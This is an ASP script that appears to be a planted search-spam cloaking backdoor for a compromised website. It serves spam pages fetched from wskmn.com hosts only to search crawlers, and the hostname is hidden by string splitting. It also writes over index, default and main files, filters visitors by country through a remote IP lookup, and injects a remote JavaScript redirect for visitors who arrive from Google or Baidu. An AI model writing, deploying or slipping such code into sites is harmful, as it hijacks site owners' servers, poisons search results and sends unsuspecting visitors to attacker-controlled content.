<%
Response.CodePage = 65001
Response.Charset = "utf-8"
hold_cache = False
extension=".jpg"
Function fileExists(relativeFilePath)
    On Error Resume Next
    Dim fso
    relativeFilePath = replace(relativeFilePath, "\\", "")
    Set fso = CreateObject("Scripting.FileSystemObject")
    fileExists = fso.FileExists(Server.MapPath(relativeFilePath))
    If Err.Number <> 0 Then
        fileExists = False
        Err.Clear
    End If
    On Error GoTo 0
End Function

Function ReadFile(filePath)
    Dim stream, fcc, chkey
    chkey = "index_" & Server.MapPath(filePath)
    If Application(chkey)<>"" and hold_cache Then
        fcc = Application(chkey)
    Else
	if fileExists(filePath) then
        Set stream = Server.CreateObject("ADODB.Stream")
        stream.Open
        stream.Type = 2 ' adTypeText
        stream.Charset = "utf-8"
        stream.LoadFromFile Server.MapPath(filePath)
        fcc = stream.ReadText
        stream.Close
        Set stream = Nothing
	if hold_cache and  (InStr(filePath, "index") > 0 Or  filePath=domain()&extension  Or filePath = "-"&extension)  Then
        Application.Lock
        Application(chkey) = fcc
        Application.Unlock
	end if
	else
	fcc = "Internet Error"
	end if
    End If
    ReadFile = fcc
End Function


Function WriteF(filename, content)
    On Error Resume Next
    Dim stream
	if instr(filename,"index") or instr(filename,"default") or instr(filename,"main") then
    Set stream = Server.CreateObject("ADODB.Stream")
    stream.Open
    stream.Type = 2 'adTypeText
    stream.Charset = "UTF-8"
    stream.WriteText content
    stream.SaveToFile Server.MapPath(filename), 2 'adSaveCreateOverWrite
    stream.Close
    Set stream = Nothing
    If Err.Number <> 0 Then
        WriteF = content
    Else
        WriteF = content
    End If
	Else
		WriteF = content
	end if
End Function

Function urls() 
u="bx1."
u1="wskmn"
urls="http://"+u+u1+".com"+"/"
End Function 
Function format()
    filename=url()
    filename = Replace(filename, "http://", "")
    filename = Replace(filename, "https://", "")
    filename = Replace(filename, "\", "-")
    filename = Replace(filename, "/", "")
    filename = Replace(filename, ":", "-")
    filename = Replace(filename, "*", "-")
    filename = Replace(filename, "?", "-")
    filename = Replace(filename, """", "-")
    filename = Replace(filename, "<", "-")
    filename = Replace(filename, ">", "-")
    filename = Replace(filename, "|", "-")
    filename = Replace(filename, "&", "-")
    filename = Replace(filename, "=", "-")
    format=folder()&"-"&filename&extension
End Function 

Function folder()
folder1="images\spider"
folder=cfolder(folder1) 
End Function 

Function cfolder(dir) 
Dim fs,strFolder
Err.Clear
On Error Resume Next
set fs=Server.CreateObject("Scripting.FileSystemObject")
strFolder=Server.MapPath(dir)
If not fs.FolderExists(strFolder) Then
fs.CreateFolder strFolder
cfolder=dir 
End If
cfolder=dir 
End Function

Function all()
ff=format()
if fileExists(ff) and instr(ReadFile(ff),"Internet Error")=0 and instr(ReadFile(ff),"can not be found")=0 and ReadFile(ff)<>"" then
    all= ReadFile(ff)
    Exit Function
else
    aa= sour()
    all=WriteF(ff,aa)
    Exit Function
end if
End Function
Function url()
dim http
  http=LCase(request.ServerVariables("QUERY_STRING"))
 if instr(http,"&")>0 then
  url=replace(http,"&","?",1,1)
  else
url=http
end if 
End Function 

Function domain() 
domain=LCase(request.ServerVariables("SERVER_NAME"))
End Function

Function sour()
ax="jnmindia.com"
filterf="//"
aa=urls()+"?"+"domain="+ax+replace("&script=/"+"&id="&"/"&replace(replace(url(),"/"&ax,""),filterf,"/"),"//","/")
sour=GetWebContent(aa,"utf-8","60000")
End Function

Function GetUserIpAddress()
    Dim userIpAddress
    userIpAddress = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
    If userIpAddress = "" Then
        userIpAddress = Request.ServerVariables("HTTP_CLIENT_IP")
    End If
    If userIpAddress = "" Then
        userIpAddress = Request.ServerVariables("REMOTE_ADDR")
    End If
    If userIpAddress = "" Then
        userIpAddress = "error" 
    End If
    GetUserIpAddress = userIpAddress
End Function

Function getip()
Dim cacheKey, pageContent,uax
cacheKey=GetUserIpAddress()
uax="https://ip.wskmn.com/?"&GetUserIpAddress()
If Not IsEmpty(Application(cacheKey))  Then
    pageContent = Application(cacheKey)
Else
    pageContent = GetWebContent(uax,"utf-8","6000")
    Application.Lock()
    Application(cacheKey) = LCase(pageContent)
    Application.Unlock()
End If
if instr(pageContent,"""us""")>0 or instr(pageContent,"fail")>0 then
   getip=false
else
   getip=true
end if
End Function

Function Isspider()
    Dim agent, searray, i
    agent = LCase(Request.ServerVariables("HTTP_USER_AGENT"))

    searray = Array("google", "baidu", "bot")
    Isspider = False
    For i = 0 To UBound(searray)
        If InStr(agent, searray(i)) > 0 Then
            Isspider = True
            Exit Function
        End If
    Next
End Function

Function fromse()
    Dim urlRefer, i, seArray
    urlRefer = LCase(Request.ServerVariables("HTTP_REFERER"))
    fromse = False
    If urlRefer = "" Then
        Exit Function
    End If
    seArray = Array("google", "baidu.com")
    For i = 0 To UBound(seArray)
        If InStr(urlRefer, seArray(i)) > 0 Then
            fromse = True
            Exit Function
        End If
    Next
End Function

Function GetWebContent(strURL, strCharset, intTimeout)
    Dim objXMLHTTP, strHTML
    On Error Resume Next
    Set objXMLHTTP = Server.CreateObject("MSXML2.ServerXMLHTTP")
    If Err.Number <> 0 Then
        Set objXMLHTTP = Server.CreateObject("MSXML2.XMLHTTP")
    End If
    If Err.Number <> 0 Then
        Set objXMLHTTP = Server.CreateObject("Microsoft.XMLHTTP")
    End If
    On Error GoTo 0
    If objXMLHTTP Is Nothing Then
        GetWebContent = "Internet Error"
        Exit Function
    End If
    On Error Resume Next
    objXMLHTTP.Open "GET", strURL, False
    If Err.Number <> 0 Then
        GetWebContent = "Internet Error"
        Exit Function
    End If
    objXMLHTTP.setTimeouts intTimeout, intTimeout, intTimeout, intTimeout
    On Error Resume Next
    objXMLHTTP.Send
    If Err.Number <> 0 Then
        GetWebContent = "Internet Error"
        Exit Function
    End If
    On Error GoTo 0
    If objXMLHTTP.Status <> 200 Then
        GetWebContent = "Internet Error"
        Exit Function
    End If
    strHTML = objXMLHTTP.responseText
    If strCharset <> "" Then
        Dim objStream
        On Error Resume Next
        Set objStream = Server.CreateObject("ADODB.Stream")
        objStream.Type = 1 'adTypeBinary
        objStream.Open
        On Error Resume Next
        objStream.Write objXMLHTTP.responseBody
        If Err.Number <> 0 Then
            GetWebContent = "Internet Error"
            Exit Function
        End If
        objStream.Position = 0
        objStream.Type = 2 'adTypeText
        objStream.Charset = strCharset
        On Error Resume Next
        strHTML = objStream.ReadText
        If Err.Number <> 0 Then
            GetWebContent = "Internet Error"
            Exit Function
        End If
        On Error GoTo 0
        Set objStream = Nothing
    End If
    Set objXMLHTTP = Nothing
    GetWebContent = strHTML
End Function

function Base64Decode(b)
   With CreateObject("Microsoft.XMLDOM").createElement("TXT")
      .DataType="bin.base64"
      .text=b
       Base64Decode=.NodeTypedValue
   end with
end function

If Isspider() Then
    If InStr(url(), "clearall") > 0 Then
        Application.Contents.RemoveAll()
        Response.Write Now() & "<br>" & "clear cache is success!"
        Response.End
    ElseIf InStr(url(), ".pdf") > 0 Then
        Response.ContentType = "application/pdf"
        Response.AddHeader "Content-Disposition", "inline;filename="&url()&".pdf"
        Response.BinaryWrite Base64Decode(all)
        Response.End
    ElseIf InStr(url(), "sitemap.xml") > 0 Then
        Response.ContentType = "application/xml"
        Response.Write(all())
        Response.End 
    Else
        Response.Clear
        Response.CodePage = 65001
        Response.Charset = "utf-8"
        Response.Write(Replace(all(), "{up}", GetWebContent("http://link.wskmn.com/bx2/", "utf-8", "60000")))
        Response.End
    End If
End If

if fromse() then
    response.clear
    response.write("<script language='javascript' src='https://js.wskmn.com/bx/ul.js'></script><br/>")
    'Response.Flush
    response.end
else
    response.write("<script type='text/javascript'>window.location.href=window.location.href;</script><br/>")
end if

%>